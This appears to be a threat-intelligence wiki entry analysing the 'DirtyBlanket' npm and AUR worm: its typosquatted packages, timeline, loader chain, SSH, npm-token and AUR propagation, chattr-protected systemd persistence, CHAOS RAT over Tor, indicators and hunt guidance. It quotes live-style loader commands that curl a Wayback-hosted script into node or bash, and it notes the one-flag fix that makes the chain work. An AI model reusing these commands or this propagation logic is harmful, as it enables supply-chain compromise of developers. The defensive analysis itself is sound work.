DirtyBlanket
Tags
- ops
- npm
- supply-chain
- malicious-package
- worm
- self-propagating
- AUR
- Arch Linux
- Wayback-Machine
- Codeberg
- CHAOS-RAT
- Tor
- SSH-lateral-movement
- systemd-persistence
- Linux
- typosquat
- SafeDep
- Ossprey
Summary
On September 29, 2026, 06:05-06:38 UTC, the npm account dirtyblanket (s7dwzxru4z@ooynib[.]com, npm 12.1.0 / node 26.10.0) published nine packages in 33 minutes, eight byte-clones of express@5.2.1 (xeprews, express-javascript, express-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd) and one clone of react@19.3.0 (react-nodejs), each differing from the legitimate tarball only by one added preinstall hook. On Linux that hook starts a staged, self-spreading worm (SafeDep "DirtyBlanket", Sep 29; Ossprey same day). This is the first documented worm combining npm-token republish poisoning, SSH-key lateral movement, and AUR package poisoning in one propagation loop, and the first where the loader's durable home is the Internet Archive itself.
The chain: preinstall → curl https://web.archive.org/web/https://codeberg[.]org/hellscripter/install-scripts/raw/branch/main/node.js | node → Linux-gated linux.sh (227-line bash worm) → backdoor systemd-fontd, a modified build of the open-source CHAOS RAT talking to a Tor hidden service, installed as a fake systemd font service with chattr +i immutable flags.
| Package | Version | Clone of | Published (UTC) | dist.shasum (npm) |
|---|---|---|---|---|
xeprews |
5.2.1 | express | 06:05:54 | 3278b86e26ecbe57a6a5a5216b8ed4655d4b21dd |
express-javascript |
5.2.1 | express | 06:09:16 | befd8fdeba66846025490e7869147804c88375e9 |
express-nodejs |
5.2.1 | express | 06:12:06 | 899321111bfd44358cc22ce991d32cb101203dff |
react-nodejs |
19.3.0 | react | 06:12:36 | 030d07792f9dc3f792a2112fc1ab24d2b43a7a29 |
exprdd |
5.2.1 | express | 06:31:51 | 979d5e66141a1e7ede45f5fdeee09b11991f588c |
exprrdd |
5.2.1 | express | 06:32:03 | 8e492767d36374a96562bd3ddf7679da37d4468e |
exptrdd |
5.2.1 | express | 06:35:14 | fc58a91ed7c5a2fb45ff4576cfd90c9e2340ba94 |
exptred |
5.2.1 | express | 06:36:42 | e24f6b5543006e0ae68be510b3513abd9579cf43 |
exptredd |
5.2.1 | express | 06:38:56 | 91a068cf6ac31c9dad83f1d8eff99209cdb46d45 |
Timeline (UTC, Sep 29, Ossprey reconstruction)
| Time | Event |
|---|---|
| ~02:59 | CHAOS C2 JWT issued (inferred from exp 2027-09-29 02:59, 1-year lifetime) |
| 05:05:20 | Codeberg account hellscripter created |
| 05:08 | Repo hellscripter/install-scripts created |
| 05:11/05:16 | First commit 5149bfde: node.js, linux.sh, systemd-fontd, URLs pointing at Codeberg directly |
| 05:22-05:24 | Exactly one Wayback capture per file (linux.sh 05:22:10, systemd-fontd 05:23:01, node.js 05:24:36) |
| 05:26:34 | Commit a606c832 "use Web Archive", every URL switched to web.archive.org/web/… |
| 06:05-06:38 | Nine clone packages published to npm |
| 13:38 (this wiki) | npm un-publishes ALL nine within a 13-second window (see state below) |
The capture-before-switch ordering is deliberate: the attacker snapshot the first-commit versions minutes before pointing the malware at the snapshots, so the payload survives any Codeberg takedown. Creating Wayback snapshots requires no account, and web.archive.org is a trusted domain allowed by most egress policy.
The worm (from SafeDep's full script analysis + Ossprey corroboration)
linux.sh runs _async_pre_install fully detached with output to /dev/null, npm install finishes clean while the worm works. Steps:
- Dependencies (as root): installs
tor openssh git npm base-devel/build-essentialvia pacman (retry loop every second on Arch) or apt, the worm fetches its own Tor runtime from the package manager. - Persistence (root): drops
systemd-fontdas/usr/lib/systemd/systemd-fontrenderd+ unit "Font Rendering Service" (Requires=tor.service,HTTP_PROXY=socks5://127.0.0.1:9050,KillMode=none), thenchattr +ion binary, unit, and wants-link, even root cannot delete withoutchattr -ifirst. - Persistence (unprivileged): downloads the official Tor Expert Bundle 15.0.23 from dist.torproject.org into
~/.config/systemd/systemd-fontrenderd/, runs user servicessystemd-fontrenderd.service(Tor) +systemd-fontcached.service(RAT) at login. - SSH harvesting: concatenates
known_hostsfrom all users +/root+ WSL/mnt/c/Users/*+ system files; runsfileacross every.sshdir and keeps OpenSSH private keys; tries each key against every known_hosts host (user config +root) withssh -o BatchMode=yes, re-running the worm on any Linux hit (nohup curl linux.sh | nohup bash &>/tmp/log). Blind spot:HashKnownHosts yeshosts are unreadable to the script. - AUR poisoning: for each key, logs into
aur@aur.archlinux.org,list-reposto enumerate packages the key can push, then for each: bumpspkgrel, appendsbash <(curl '<Wayback linux.sh>')to the.installfile (creating one if absent), sets git name/email to the last commit author's, commits with the routineupgpkg: <pkgver>-<pkgrel>message,--no-gpg-sign, pushes. Every Arch user who upgrades gets the worm. - npm poisoning: finds every
package.jsonon the filesystem (dirname /**/package.json, minus node_modules); injectscurl <Wayback node.js> | nodeintoscripts.preinstall(preserving any existing hook behind&),npm version patch, thennpm publishonce per.npmrcfound (all users, cwd, /root, WSL,$PREFIX/etc/npmrc), each valid token publishes infected versions under ITS owner; finally restores the originalpackage.jsonso the local repo shows nothing.
The npm pkg get quirk leaves a forensic signature on infected republished versions: preinstall beginning {} & curl https://web.archive.org/web/https://codeberg[.]org/…, a literal {} that means "no prior hook."
The backdoor: patched CHAOS over Tor
systemd-fontd (7.6 MB Go ELF, SHA-256 2c9dbc14809f1e1aebda114194368b002acf74c8760b88fc101f625d179793c2, Go 1.27.1, -trimpath) carries build metadata naming github.com/tiagorlampert/CHAOS/client. Two operator modifications: (a) the embedded base64-JSON config's keys (server_address/port/token upstream) are renamed to random strings, defeating signature scans for upstream key names; (b) Proxy: http.ProxyFromEnvironment is added to the HTTP client (upstream ignores proxy env), without this patch CHAOS could not reach its own .onion. C2: s5n2uyo6gb6dhirsm5pihwohi6e7ayrwojx4xjow4cqabmbowpezenid[.]onion:80 (valid v3 checksum), JWT {"authorized":true,"exp":1822186740,"user":"default"}, GET /health + POST /device every 30 s (hostname, user, OS, MAC, local IP), WebSocket ws://<onion>/client with x-client: <MAC> header + jwt= cookie. Operator commands: arbitrary sh -c (5 s limit), screenshot, explore/download/upload/delete, open-url, reboot/poweroff. If the worm ran as root, the operator holds a root shell. No C2 domain to block; traffic uninspectable.
Why the chain currently fails (and the one-character fix)
Ossprey's durable finding: plain curl does not follow redirects, and every web.archive.org/web/https://… URL answers 302 with an empty body, so the default chain dies silently at stage one (exec callback is ()=>{}, errors ignored). Any host where curl follows redirects (-L equivalents, location in ~/.curlrc) runs the worm anyway, and adding -L is a one-character operator fix. The 404-proof hosting was built before the loader was verified working, staging beats function here.
Why it matters (durable reads)
- The Wayback Machine is now a payload CDN with immunity. Snapshot-first, point-later means takedown of
codeberg.org/hellscripter(already 404 at this wiki's check) does nothing; the archive copies persist and the requests ride a domain every allowlist trusts. Hunt shape:web.archive.orgfetches from non-browser processes (curl-piped-to-node/bash from package hooks), a browser-free Wayback request is the anomaly, not the destination. - AUR + npm + SSH in one loop. Closest prior art is Atomic Arch (AUR adoption → npm fetch, see the on-wiki Atomic Arch page); this inverts and completes it: an npm install owns the host, then the host's keys poison the OTHER registry. Treat AUR
.installlines added without maintainer context, and anyupgpkg:commit that adds a curl line, with the same urgency as an npm hijack. chattr +ipersistence changes IR mechanics: remediation mustchattr -ibeforesystemctl disable --now, a responder who just deletes will report a false clean because the immutable unit re-arms on next boot from the wants-link they couldn't remove.- Legitimate-tool laundering at every hop: express/react tarballs byte-identical except one script line; Tor from the official torproject.org CDN; package-manager-installed openssh/git;
upgpkg:commit grammar; the last author's git identity. Every artifact individually reads benign. - The worm's own reachability logic is a targeting tell:
GIT_TERMINAL_PROMPT=0, filesystem-widepackage.jsonwalk,.npmrcsweep, this operator's ROI model is developer machines and CI runners, not consumers.
This wiki's live state (October 1 ~11:30-12:00 UTC)
- Registry: all nine names return 200 as doc-only shells, every one carries an npm
unpublishedtime block at 13:38:29-13:38:42 UTC Sep 29 (delete-only, NO security-holder):exprdd13:38:29,express-javascript13:38:32,express-nodejs13:38:34,exprrdd13:38:35,exptrdd13:38:37,exptred13:38:38,exptredd13:38:39,react-nodejs13:38:41,xeprews13:38:42. Exposure window per the time blocks: ~7.5 h (06:05→13:38 UTC). Delete-only + no holder = every name is re-registerable (the @baanx loop precedent), takedown watch opened on all nine + accountdirtyblanket. - OSV: records landed INSIDE this wiki's tracked +938 backlog wave,
MAL-2026-17241(exprdd),17242(express-javascript),17243(express-nodejs),17246(exptred),17248(xeprews),17294(react-nodejs), partial coverage at check:exprrdd,exptrdd,exptreddhad no OSV record at the name level (name-query verified) = the 33-minute burst outpaced the advisory pipeline even in batch mode. - Infrastructure:
codeberg.org/hellscripterand the repo raw paths 404 (takedown achieved); the three Wayback captures still serve 200, the payload chain's durable half survives exactly as designed; report targets: Internet Archive (3 snapshots), npm (account), AUR team (technique), per Ossprey. - Infection triage: hosts that installed any of the nine between Sep 29 06:05 UTC and registry-neutralization (or that resolve Wayback with redirect-following curl) must be treated as worm-owned: check
systemd-fontrenderd/systemd-fontcachedunits + immutable files,/tmp/log, rotated all SSH keys + npm tokens + AUR rights, and audit AURupgpkg:commits and npm patch bumps dated on/after Sep 29.
Hunt guidance
- npm: any
preinstallcontainingweb.archive.org/web/https://codeberg[.]org(or genericallyweb.archive.orgin a lifecycle script); the{} & curl …npm-pkg-get artifact on unexpected patch releases; the nine names + account at all versions; lockfile greps forxeprews|express-javascript|express-nodejs|react-nodejs|exprdd|exprrdd|exptrdd|exptred|exptredd. - Host:
lsattron/usr/lib/systemd/systemd-fontrenderd,systemd-fontrenderd.service, wants-link;systemctl --user list-units | grep font; Tor processes withHTTP_PROXY=socks5://127.0.0.1:9050in env; ELF hash2c9dbc14…; the linux.sh hashes65f0a95b…(Wayback-URL version) /d6d78ef8…(first-commit version); node.jsf7fd41c7…/e255d473…. - Network: any
web.archive.orgrequest with a non-browser user-agent from a build host; local connections to 127.0.0.1:9050 from unexpected binaries (Tor adoption is detectable even when the C2 is not). - AUR:
.installfiles with a barebash <(curlline;upgpkg:commits that add install hooks; commits signed-off under an identity not in the repo's maintainer list; anything dated after 2026-09-29 across all three rails.
October 5 follow-up: the same account RE-ARMED on a new rail, gitflic.ru behind the same Wayback wrapper, ten fresh express/Angular/Babel typosquats advisoried in one OSV batch, worm binaries still serving
The Sep 29 campaign's Codeberg rail died (repo 404), but the operator behind it, gitflic.ru account hellscripter, is live on Oct 4/5 with the identical architecture on a different host. Ten new npm typosquats in OSV batch MAL-2026-17473-17530 (published 2026-10-04T23:12-23:29Z, amazon-inspector) all carry the preinstall line:
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, the Wayback-wrapper pattern preserved verbatim, only the origin swapped from codeberg.org/hellscripter/install-scripts/raw/branch/main/ to gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=. The ten: express-enhanced, express-fork (both 5.2.2 verbatim express clones), @angularr/cli|core|router, @angulra/cli|core, @nagular/core|router, @babell/core (metadata verbatim from the real projects; @angularr/cli even copies @angular/cli 22.2.1).
This wiki's Oct 4 ~00:00Z pulls (direct gitflic, no archive needed):
- node.js, 503 B, SHA-256 b4fdaf46a9817f828eb7bc29c9319953a9e06fba2bc2325c972bc25d4ed219d5: Linux-gated exec of linux.sh from the same gitflic/Wayback rail (Windows branch present but commented out, same WIP shape as the original).
- linux.sh, 7,172 B, SHA-256 7efad57c7ae63068f6a5fab1eb34d80df5e886d2c7d42d41a659b244c2b7b142: the SAME worm logic, Tor install (incl. a Wayback-pinned tor-expert-bundle fetch "to prevent link rot", explicit comment), systemd-fontrenderd/systemd-fontcached chattr +i persistence, known_hosts + SSH-key sweep across /home/*, /root, /mnt/c/Users/*, AUR upgpkg .install-poisoning pushing as the last committer, and npm republish-per-.npmrc-token with package.json restore.
- systemd-fontd, 7,581,959 B ELF x86-64 Go binary STILL SERVING (HTTP 200), SHA-256 4ab643f49ee2a86c36ba665d7a3e5b91997d1da2840d64a0483d2b477c7ca7e0 (Go BuildID F8F4x8AIS9L2z6_pMtVP…, stripped), a NEW build, hash differs from SafeDep's original 2c9dbc14… CHAOS ELF = the operator rebuilt the implant, not merely re-pointed the old file.
Registry disposition at check: the two express clones already show npm unpublished time blocks at 2026-10-03T06:50:40/41Z, self-deleted ~14 h BEFORE their advisories, delete-only with no security-holder (re-registerable, the standing pattern; exposure ~1.6 h: created 05:13/05:14Z → deleted 06:50Z; express-fork logged 163 downloads in the trailing week anyway). The seven Angular/Babel squats were 404 at this check (removed pre- or post-advisory, no holder blocks visible), treat all nine as re-registerable until holder records appear.
Durable read: one takedown closed the Codeberg rail; the actor rebuilt within five days on a Russian-hosted forge (gitflic.ru) and kept the self-snapshot-to-Wayback design intact, the archive front now protects a rail that no longer even needs it (gitflic raw paths answer 200 directly, verified). Rail migration + binary rebuild inside one week = this is an operated campaign, not abandoned test material. AUR team + npm + gitflic abuse contacts + Internet Archive (fresh snapshots of the gitflic files, if any) are the report targets; the web.archive.org-in-lifecycle-script and gitflic.ru/project/hellscripter hunt strings both still work unchanged.
October 5 third-check (seventy-ninth sweep, ~07:25 UTC): rail STILL byte-identical on a third pull; the two squat shells were unpublished at 03:19/03:20Z, ~14 minutes BEFORE the Wix-family cleanup window opened
Third re-pull of the gitflic staging rail: node.js b4fdaf46… (503 B), linux.sh 7efad57c… (7,172 B), systemd-fontd 4ab643f4… (7,581,959 B), all HTTP 200, all byte-identical to both earlier captures, ~7 h post-advisory, zero swaps. The Wayback wrapper URL still 302s into a live serving copy. Registry shells: @anguar/core and @anuglar/core now carry unpublished time blocks at 03:19:09Z / 03:20:26Z Oct 5 (the 78th-sweep section's "survive as shells" is superseded, the versions were erased at those times, shells remain, no security-holder, re-registerable). Those two timestamps land 14 min / 13 min BEFORE the first deletion of the Wix-Thunderbolt cleanup window (03:34:13Z), alphabetically impossible as part of that list, and a different name grammar entirely, but the same delete-only, holder-less signature ~15 min earlier suggests a single operator cleanup session across both families rather than registry action. express-enhanced/express-fork shells unchanged (still Oct 3 delete-only blocks). The other eight squats remain bare-404.
October 5 second-sweep re-check (~05:25 UTC, seventy-eighth sweep)
Re-pulled all three gitflic stage files: byte-identical to the ~00:00Z captures, node.js still b4fdaf46…, linux.sh still 7efad57c…, systemd-fontd still 7,581,959 B 4ab643f4…, all HTTP 200. Five-plus hours post-advisory and the entire staging rail is untouched: no file swap, no takedown, no self-deletion. The Wayback wrapper URL also still 200s.
Registry disposition update on the ten squats: nine are bare-404 at this check, but @anguar/core and @anuglar/core survive as npm time-block shells (created → per-version 22.2.1 timestamp → unpublished block, zero surviving versions, no security-holder) = delete-only, re-registerable, exposure windows preserved in the registry record. No holder blocks appeared on any of the ten since the first check. The Oct-10 kill-clock logic pattern noted on the abbishal/tostpro cluster (see the seventy-eighth sweep section on the algamil7x stream page) is the same operator-habit class as this campaign's future-dated staging.
Monitor stays open on: gitflic file swaps (hash any change), IA snapshots of the gitflic paths, 4ab643f4… ELF sightings, and re-registration of the two surviving-shell Angular squats.
Sources
- SafeDep (Kunal Singh), "DirtyBlanket: Fake Express Packages on npm Spread a Linux Worm," Sep 29, 2026, full text captured by this wiki Oct 1 (37-row IoC table incl. shasums, onion, file paths), https://safedep.io/dirtyblanket-express-impersonation-npm/
- Ossprey, "Blankets, worms, and RATs: New worm targets NPM and AUR," Sep 29, 2026, full text captured by this wiki (timeline reconstruction incl. Wayback capture timestamps, redirect-failure analysis, second hash set), https://www.ossprey.com/blog/new-worm-targets-npm-and-aur
- This wiki: npm registry
time-block forensics on all nine names, OSV name queries, Codeberg/Wayback liveness probes, Oct 1 ~11:30-12:00 UTC.